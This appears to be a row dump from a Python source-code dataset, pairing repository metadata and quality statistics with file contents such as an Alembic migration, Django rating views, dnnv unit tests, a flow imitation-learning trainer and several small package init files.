mo... | 39.2 | 169 | 0.643424 | 178 | 1,764 | 6.213483 | 0.280899 | 0.0434 | 0.135624 | 0.157324 | 0.792043 | 0.792043 | 0.748644 | 0.748644 | 0.748644 | 0.748644 | 0 | 0.025964 | 0.235828 | 1,764 | 44 | 170 | 40.090909 | 0.79451 | 0.02551 | 0 | 0.631579 | 1 | 0 | 0.200349 | 0.117065 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.052632 | 0 | 0.131579 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2146376ebb271565f1cb15c5a7d8faeed0721eb4 | 14,914 | py | Python | alembic/versions/8d599d025605_remove.py | rxrw/file-reader | 43e7047b5b4db25dff7d391241583ba6b7849061 | [
"MIT"
] | 2 | 2020-12-02T23:17:52.000Z | 2020-12-04T18:20:27.000Z | alembic/versions/8d599d025605_remove.py | rxrw/file-reader | 43e7047b5b4db25dff7d391241583ba6b7849061 | [
"MIT"
] | 1 | 2021-02-03T03:11:57.000Z | 2021-02-03T03:11:57.000Z | alembic/versions/8d599d025605_remove.py | rxrw/file-reader | 43e7047b5b4db25dff7d391241583ba6b7849061 | [
"MIT"
] | null | null | null | """remove
Revision ID: 8d599d025605
Revises: 8effd1c19c35
Create Date: 2020-11-30 15:53:56.451886
"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import mysql
# revision identifiers, used by Alembic.
revision = '8d599d025605'
down_revision = '8effd1c19c35'
branch_labels = None
depends_on... | 53.264286 | 76 | 0.701556 | 2,031 | 14,914 | 5.018218 | 0.085672 | 0.116954 | 0.238422 | 0.249215 | 0.871272 | 0.808968 | 0.784831 | 0.760695 | 0.623136 | 0.472429 | 0 | 0.038356 | 0.117205 | 14,914 | 279 | 77 | 53.455197 | 0.735759 | 0.019378 | 0 | 0.358779 | 0 | 0 | 0.14841 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.007634 | false | 0.003817 | 0.01145 | 0 | 0.019084 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2153e9953162fe6fb3af358f1ecb6a76766a9983 | 237 | py | Python | dnnsvg/__init__.py | yuishihara/dnnsvg | 3bbc6ef6f8630498c7b791bb07efff6e1cd11a50 | [
"MIT"
] | 3 | 2019-10-30T01:05:13.000Z | 2021-01-25T20:54:19.000Z | dnnsvg/__init__.py | yuishihara/dnnsvg | 3bbc6ef6f8630498c7b791bb07efff6e1cd11a50 | [
"MIT"
] | null | null | null | dnnsvg/__init__.py | yuishihara/dnnsvg | 3bbc6ef6f8630498c7b791bb07efff6e1cd11a50 | [
"MIT"
] | 1 | 2019-10-30T01:09:51.000Z | 2019-10-30T01:09:51.000Z | from dnnsvg import layers
from dnnsvg.svg_builder import SVGBuilder
from dnnsvg.svgeables.variables.tensor_2d import Tensor2D
from dnnsvg.svgeables.variables.tensor_3d import Tensor3D
from dnnsvg.svgeables.captions.caption import Caption | 47.4 | 57 | 0.877637 | 33 | 237 | 6.212121 | 0.484848 | 0.243902 | 0.278049 | 0.273171 | 0.331707 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018349 | 0.080169 | 237 | 5 | 58 | 47.4 | 0.922018 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
dcbf8a28a968f1aa52484037af2beaa2516eb51e | 250 | py | Python | production/tests/conftest.py | sainide/Customer-Churn-Prediction | f7fd5bf1d21f2b7dad50fb1a6c51d77ef449e879 | [
"BSD-3-Clause"
] | null | null | null | production/tests/conftest.py | sainide/Customer-Churn-Prediction | f7fd5bf1d21f2b7dad50fb1a6c51d77ef449e879 | [
"BSD-3-Clause"
] | null | null | null | production/tests/conftest.py | sainide/Customer-Churn-Prediction | f7fd5bf1d21f2b7dad50fb1a6c51d77ef449e879 | [
"BSD-3-Clause"
] | null | null | null | import pytest
from classification_model.config.core import config
from classification_model.processing.data_manager import load_dataset
@pytest.fixture()
def sample_input_data():
return load_dataset(file_name=config.app_config.test_data_file)
| 25 | 69 | 0.848 | 35 | 250 | 5.742857 | 0.6 | 0.179104 | 0.228856 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088 | 250 | 9 | 70 | 27.777778 | 0.881579 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | true | 0 | 0.5 | 0.166667 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
dcd554291817b398928bef57ec99ed6c4a636952 | 358 | py | Python | terrascript/github/d.py | vutsalsinghal/python-terrascript | 3b9fb5ad77453d330fb0cd03524154a342c5d5dc | [
"BSD-2-Clause"
] | null | null | null | terrascript/github/d.py | vutsalsinghal/python-terrascript | 3b9fb5ad77453d330fb0cd03524154a342c5d5dc | [
"BSD-2-Clause"
] | null | null | null | terrascript/github/d.py | vutsalsinghal/python-terrascript | 3b9fb5ad77453d330fb0cd03524154a342c5d5dc | [
"BSD-2-Clause"
] | null | null | null | # terrascript/github/d.py
import terrascript
class github_collaborators(terrascript.Data):
pass
class github_ip_ranges(terrascript.Data):
pass
class github_repositories(terrascript.Data):
pass
class github_repository(terrascript.Data):
pass
class github_team(terrascript.Data):
pass
class gi... | 15.565217 | 45 | 0.768156 | 43 | 358 | 6.232558 | 0.348837 | 0.246269 | 0.425373 | 0.447761 | 0.559701 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153631 | 358 | 22 | 46 | 16.272727 | 0.884488 | 0.064246 | 0 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.461538 | 0.076923 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
0d11b0c592e35dc9d299b946d4178c688fd0a1a7 | 19,324 | py | Python | fgivenx/drivers.py | Stefan-Heimersheim/fgivenx | ef8b02f47eea24af4de1a17088c092ef9d523fec | [
"MIT"
] | 11 | 2017-10-13T11:04:53.000Z | 2021-03-26T15:54:12.000Z | fgivenx/drivers.py | Stefan-Heimersheim/fgivenx | ef8b02f47eea24af4de1a17088c092ef9d523fec | [
"MIT"
] | 16 | 2018-08-01T09:25:08.000Z | 2022-03-04T12:29:52.000Z | fgivenx/drivers.py | Stefan-Heimersheim/fgivenx | ef8b02f47eea24af4de1a17088c092ef9d523fec | [
"MIT"
] | 12 | 2018-02-04T20:34:01.000Z | 2021-12-10T10:58:20.000Z | r"""This module provides utilities for computing the grid for contours of a
function reconstruction plot.
Required ingredients:
* sampled posterior probability distribution :math:`P(\theta)`
* independent variable :math:`x`
* dependent variable :math:`y`
* functional form :math:`y = f(x;\th... | 35.327239 | 79 | 0.620679 | 2,610 | 19,324 | 4.545977 | 0.101149 | 0.033375 | 0.017109 | 0.017615 | 0.804298 | 0.775727 | 0.758449 | 0.751791 | 0.733418 | 0.729372 | 0 | 0.003945 | 0.265421 | 19,324 | 546 | 80 | 35.391941 | 0.831913 | 0.630511 | 0 | 0.47482 | 0 | 0 | 0.065527 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043165 | false | 0 | 0.05036 | 0 | 0.122302 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0d3af27a21b0e6ce8a4fec8e0d62653c2921601c | 125 | py | Python | py_models_parser/__init__.py | xnuinside/py-models-parser | c89f12f0c33e28dc86f74172246e4e4d9a7037a8 | [
"MIT"
] | 9 | 2021-05-06T06:19:27.000Z | 2021-09-27T16:07:04.000Z | py_models_parser/__init__.py | xnuinside/py-models-parser | c89f12f0c33e28dc86f74172246e4e4d9a7037a8 | [
"MIT"
] | 1 | 2021-07-05T12:52:53.000Z | 2021-07-06T11:53:54.000Z | py_models_parser/__init__.py | xnuinside/py-models-parser | c89f12f0c33e28dc86f74172246e4e4d9a7037a8 | [
"MIT"
] | 1 | 2021-05-06T14:17:14.000Z | 2021-05-06T14:17:14.000Z | from py_models_parser.core import dump_result, parse, parse_from_file
__all__ = ["parse", "parse_from_file", "dump_result"]
| 31.25 | 69 | 0.792 | 19 | 125 | 4.578947 | 0.578947 | 0.229885 | 0.321839 | 0.413793 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096 | 125 | 3 | 70 | 41.666667 | 0.769912 | 0 | 0 | 0 | 0 | 0 | 0.248 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
b49d958a46d14b05dba8cf75523bb3f4b5c4c07d | 28 | py | Python | adbc/commands/__init__.py | aleontiev/apg | c6a10a9b0a576913c63ed4f093e2a0fa7469af87 | [
"MIT"
] | 2 | 2020-07-17T16:33:42.000Z | 2020-07-21T04:48:38.000Z | adbc/commands/__init__.py | aleontiev/apg | c6a10a9b0a576913c63ed4f093e2a0fa7469af87 | [
"MIT"
] | null | null | null | adbc/commands/__init__.py | aleontiev/apg | c6a10a9b0a576913c63ed4f093e2a0fa7469af87 | [
"MIT"
] | null | null | null | from .run import RunCommand
| 14 | 27 | 0.821429 | 4 | 28 | 5.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 28 | 1 | 28 | 28 | 0.958333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b4f91e22fe213c7ec2c0ae9a49e8a93da6fcfe82 | 45 | py | Python | src/__init__.py | gchhablani/DRIFT | 8d748998b695489a40ff732a974e4b1f915bab34 | [
"MIT"
] | 90 | 2021-07-01T15:42:57.000Z | 2021-12-06T04:57:59.000Z | src/__init__.py | gchhablani/DRIFT | 8d748998b695489a40ff732a974e4b1f915bab34 | [
"MIT"
] | 8 | 2021-07-02T12:41:13.000Z | 2021-08-08T17:59:30.000Z | src/__init__.py | gchhablani/DRIFT | 8d748998b695489a40ff732a974e4b1f915bab34 | [
"MIT"
] | 7 | 2021-07-01T13:08:14.000Z | 2021-08-29T05:29:09.000Z | from .analysis import *
from .utils import *
| 15 | 23 | 0.733333 | 6 | 45 | 5.5 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177778 | 45 | 2 | 24 | 22.5 | 0.891892 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
3707d2a27bdec3d6c78225064cc9a3813466253a | 7,472 | py | Python | unit_tests/view_official_search/test_enter_search_ref.py | LandRegistry/maintain-frontend | d92446a9972ebbcd9a43a7a7444a528aa2f30bf7 | [
"MIT"
] | 1 | 2019-10-03T13:58:29.000Z | 2019-10-03T13:58:29.000Z | unit_tests/view_official_search/test_enter_search_ref.py | LandRegistry/maintain-frontend | d92446a9972ebbcd9a43a7a7444a528aa2f30bf7 | [
"MIT"
] | null | null | null | unit_tests/view_official_search/test_enter_search_ref.py | LandRegistry/maintain-frontend | d92446a9972ebbcd9a43a7a7444a528aa2f30bf7 | [
"MIT"
] | 1 | 2021-04-11T05:24:57.000Z | 2021-04-11T05:24:57.000Z | from maintain_frontend import main
from flask_testing import TestCase
from unit_tests.utilities import Utilities
from flask import url_for
from unittest.mock import patch, MagicMock
from maintain_frontend.dependencies.session_api.session import Session
from maintain_frontend.models import SearchDetails
class TestEnte... | 44.213018 | 101 | 0.701017 | 910 | 7,472 | 5.384615 | 0.131868 | 0.062857 | 0.077143 | 0.044082 | 0.83551 | 0.821837 | 0.820408 | 0.820408 | 0.812245 | 0.812245 | 0 | 0.024005 | 0.202757 | 7,472 | 168 | 102 | 44.47619 | 0.798556 | 0 | 0 | 0.603306 | 0 | 0 | 0.25455 | 0.182147 | 0 | 0 | 0 | 0 | 0.173554 | 1 | 0.082645 | false | 0 | 0.057851 | 0 | 0.157025 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
370f9cd890c1720a09c6e585711c280c23263c07 | 39 | py | Python | checkov/dockerfile/__init__.py | jamesholland-uk/checkov | d73fd4bd7096d48ab3434a92a177bcc55605460a | [
"Apache-2.0"
] | 4,013 | 2019-12-09T13:16:54.000Z | 2022-03-31T14:31:01.000Z | checkov/dockerfile/__init__.py | jamesholland-uk/checkov | d73fd4bd7096d48ab3434a92a177bcc55605460a | [
"Apache-2.0"
] | 1,258 | 2019-12-17T09:55:51.000Z | 2022-03-31T19:17:17.000Z | checkov/dockerfile/__init__.py | jamesholland-uk/checkov | d73fd4bd7096d48ab3434a92a177bcc55605460a | [
"Apache-2.0"
] | 638 | 2019-12-19T08:57:38.000Z | 2022-03-30T21:38:37.000Z | from checkov.dockerfile.checks import * | 39 | 39 | 0.846154 | 5 | 39 | 6.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 39 | 1 | 39 | 39 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2ec079ba38dcec7f18ce2e34d38c3161e2e10e94 | 16,428 | py | Python | websaver/parsed_data/views.py | aiirohituzi/myWebCrawler | 67060f724de1142b7d7d6f6fb981d3c1e925d9b0 | [
"MIT"
] | 2 | 2017-08-21T14:38:22.000Z | 2017-08-22T01:35:36.000Z | websaver/parsed_data/views.py | aiirohituzi/myWebCrawler | 67060f724de1142b7d7d6f6fb981d3c1e925d9b0 | [
"MIT"
] | 2 | 2017-09-05T09:54:26.000Z | 2017-12-03T13:06:02.000Z | websaver/parsed_data/views.py | aiirohituzi/myWebCrawler | 67060f724de1142b7d7d6f6fb981d3c1e925d9b0 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from django.http import HttpResponse
from parsed_data.models import RatingData
import json
import datetime
import config
import operator
# Create your views here.
def getRating(request):
data = []
season = request.GET.get('season', False)
if season:
for r in Ra... | 32.023392 | 97 | 0.499696 | 1,803 | 16,428 | 4.483084 | 0.061009 | 0.021774 | 0.011877 | 0.061858 | 0.910306 | 0.902264 | 0.900779 | 0.884201 | 0.872696 | 0.849808 | 0 | 0.012145 | 0.343438 | 16,428 | 513 | 98 | 32.023392 | 0.737252 | 0.486791 | 0 | 0.599057 | 0 | 0 | 0.127623 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033019 | false | 0 | 0.033019 | 0 | 0.099057 | 0.04717 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2ed3ab82046ebfee2aac3079195285f7716ed549 | 4,599 | py | Python | tests/unit_tests/test_verifiers/test_common/test_reductions/test_iopolytope/test_HyperRectangle.py | samysweb/dnnv | 58fb95b7300914d9da28eed86c39eca473b1aaef | [
"MIT"
] | 5 | 2022-01-28T20:30:34.000Z | 2022-03-17T09:26:52.000Z | tests/unit_tests/test_verifiers/test_common/test_reductions/test_iopolytope/test_HyperRectangle.py | samysweb/dnnv | 58fb95b7300914d9da28eed86c39eca473b1aaef | [
"MIT"
] | 9 | 2022-01-27T03:50:28.000Z | 2022-02-08T18:42:17.000Z | tests/unit_tests/test_verifiers/test_common/test_reductions/test_iopolytope/test_HyperRectangle.py | samysweb/dnnv | 58fb95b7300914d9da28eed86c39eca473b1aaef | [
"MIT"
] | 2 | 2022-02-03T17:32:43.000Z | 2022-03-24T16:38:49.000Z | import numpy as np
import pytest
from dnnv.verifiers.common.reductions.iopolytope import *
from dnnv.verifiers.common.reductions.iopolytope import Variable
def setup_function():
Variable._count = 0
def test_update_constraint_single_index():
v = Variable((1, 3, 2, 2))
hspoly = HyperRectangle(v)
var... | 27.538922 | 87 | 0.607088 | 682 | 4,599 | 3.979472 | 0.09824 | 0.10059 | 0.046426 | 0.066323 | 0.866249 | 0.838983 | 0.791083 | 0.754974 | 0.754974 | 0.727708 | 0 | 0.045442 | 0.229615 | 4,599 | 166 | 88 | 27.704819 | 0.720576 | 0 | 0 | 0.681481 | 0 | 0 | 0.046314 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 1 | 0.059259 | false | 0 | 0.02963 | 0 | 0.088889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2edc331bf07f9da06321e3e15ed10feb5f3f2966 | 27 | py | Python | src/euler_python_package/euler_python/medium/p363.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | src/euler_python_package/euler_python/medium/p363.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | src/euler_python_package/euler_python/medium/p363.py | wilsonify/euler | 5214b776175e6d76a7c6d8915d0e062d189d9b79 | [
"MIT"
] | null | null | null | def problem363():
pass
| 9 | 17 | 0.62963 | 3 | 27 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 0.259259 | 27 | 2 | 18 | 13.5 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
2c145760ea5951c02b26879a5fcb13eca0255cc1 | 29 | py | Python | tests/__init__.py | PleXone2019/socialreaper | 87fcc3b74bbed6c4f8e7f49a5f0eb8a616cf38da | [
"MIT"
] | 427 | 2017-02-22T11:59:59.000Z | 2022-03-18T11:46:55.000Z | tests/__init__.py | PleXone2019/socialreaper | 87fcc3b74bbed6c4f8e7f49a5f0eb8a616cf38da | [
"MIT"
] | 1 | 2018-06-13T02:15:10.000Z | 2019-09-26T23:50:30.000Z | tests/__init__.py | PleXone2019/socialreaper | 87fcc3b74bbed6c4f8e7f49a5f0eb8a616cf38da | [
"MIT"
] | 94 | 2017-03-29T02:59:20.000Z | 2022-03-23T01:09:45.000Z | from . import test_generators | 29 | 29 | 0.862069 | 4 | 29 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 29 | 1 | 29 | 29 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2c1c62eb125d9e8057ff9e4f7249cfb02c4192e5 | 58,113 | py | Python | flow/controllers/imitation_learning/trainer.py | eugenevinitsky/bayesian_reasoning_traffic | de3c14f03fed9cab913bb692877851320a3b6843 | [
"MIT"
] | 2 | 2020-12-03T21:13:39.000Z | 2022-03-13T09:12:43.000Z | flow/controllers/imitation_learning/trainer.py | eugenevinitsky/bayesian_reasoning_traffic | de3c14f03fed9cab913bb692877851320a3b6843 | [
"MIT"
] | null | null | null | flow/controllers/imitation_learning/trainer.py | eugenevinitsky/bayesian_reasoning_traffic | de3c14f03fed9cab913bb692877851320a3b6843 | [
"MIT"
] | 1 | 2021-02-05T16:51:34.000Z | 2021-02-05T16:51:34.000Z | import time
from collections import OrderedDict
import pickle
import numpy as np
import gym
import os
import tensorflow as tf
from flow.controllers.imitation_learning.utils import *
from flow.utils.registry import make_create_env
from flow.controllers.imitation_learning.imitating_controller import ImitatingController
f... | 48.630126 | 231 | 0.650698 | 6,796 | 58,113 | 5.297234 | 0.054002 | 0.037778 | 0.033778 | 0.017111 | 0.995722 | 0.995722 | 0.994333 | 0.994333 | 0.994333 | 0.994333 | 0 | 0.003774 | 0.256758 | 58,113 | 1,194 | 232 | 48.670854 | 0.829714 | 0.758815 | 0 | 0.077844 | 0 | 0 | 0.098334 | 0.008328 | 0 | 0 | 0 | 0.000838 | 0 | 1 | 0.053892 | false | 0 | 0.095808 | 0 | 0.173653 | 0.083832 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
25ab2cfa339a691b746236596cac21c0e0e39942 | 200 | py | Python | examples/keys.py | notchxor/ueosio | 0169075c6814461932eb5ce30f851ef70401fb61 | [
"MIT"
] | 1 | 2020-06-19T00:08:25.000Z | 2020-06-19T00:08:25.000Z | examples/keys.py | notchxor/ueosio | 0169075c6814461932eb5ce30f851ef70401fb61 | [
"MIT"
] | null | null | null | examples/keys.py | notchxor/ueosio | 0169075c6814461932eb5ce30f851ef70401fb61 | [
"MIT"
] | null | null | null | from ueosio import gen_key_pair, get_pub_key
## Print Key Pair
print(gen_key_pair())
## Get Public Address from Private Key
print(get_pub_key('5KJfEtwkMBp8t5HtgGfFZVdiUJhDejS5sbiE5siMVe1xs6RQa6y'))
| 25 | 73 | 0.825 | 27 | 200 | 5.814815 | 0.481481 | 0.133758 | 0.127389 | 0.165605 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044444 | 0.1 | 200 | 7 | 74 | 28.571429 | 0.827778 | 0.25 | 0 | 0 | 0 | 0 | 0.351724 | 0.351724 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
25fb85613510c08883b82eb0088b2736f85368fb | 25 | py | Python | __init__.py | wormtooth/miner | 8ba161b5db0211994799b2d84e359f3fb4c14392 | [
"MIT"
] | 1 | 2017-10-01T04:43:11.000Z | 2017-10-01T04:43:11.000Z | __init__.py | wormtooth/miner | 8ba161b5db0211994799b2d84e359f3fb4c14392 | [
"MIT"
] | null | null | null | __init__.py | wormtooth/miner | 8ba161b5db0211994799b2d84e359f3fb4c14392 | [
"MIT"
] | null | null | null | from .miner import Miner
| 12.5 | 24 | 0.8 | 4 | 25 | 5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16 | 25 | 1 | 25 | 25 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d377daf5638a7fc8d6add5f58baae6658f5fa26a | 102 | py | Python | {{cookiecutter.project_name}}/{{cookiecutter.project_name}}/__main__.py | rzavarce/cookiecutter-vertebral | 29a72b6bfb5c4ca76b1a36ee1e8ff9e0fedcb421 | [
"MIT"
] | null | null | null | {{cookiecutter.project_name}}/{{cookiecutter.project_name}}/__main__.py | rzavarce/cookiecutter-vertebral | 29a72b6bfb5c4ca76b1a36ee1e8ff9e0fedcb421 | [
"MIT"
] | null | null | null | {{cookiecutter.project_name}}/{{cookiecutter.project_name}}/__main__.py | rzavarce/cookiecutter-vertebral | 29a72b6bfb5c4ca76b1a36ee1e8ff9e0fedcb421 | [
"MIT"
] | null | null | null | from core.main import main
import sys
sys.path.append(".")
# TODO CHANGE TO CORRECT IMPORT
main()
| 10.2 | 31 | 0.715686 | 16 | 102 | 4.5625 | 0.6875 | 0.273973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.176471 | 102 | 9 | 32 | 11.333333 | 0.869048 | 0.284314 | 0 | 0 | 0 | 0 | 0.014493 | 0 | 0 | 0 | 0 | 0.111111 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
d396ca37920e848defb999ee20b01daf407d64e1 | 34 | py | Python | utils/__init__.py | toandaominh1997/ProductDetectionShopee | 9fe66b1e96ec3709630d486b66fc13a0fbc55a05 | [
"MIT"
] | null | null | null | utils/__init__.py | toandaominh1997/ProductDetectionShopee | 9fe66b1e96ec3709630d486b66fc13a0fbc55a05 | [
"MIT"
] | null | null | null | utils/__init__.py | toandaominh1997/ProductDetectionShopee | 9fe66b1e96ec3709630d486b66fc13a0fbc55a05 | [
"MIT"
] | 1 | 2020-07-06T07:15:43.000Z | 2020-07-06T07:15:43.000Z | from .utils import get_state_dict
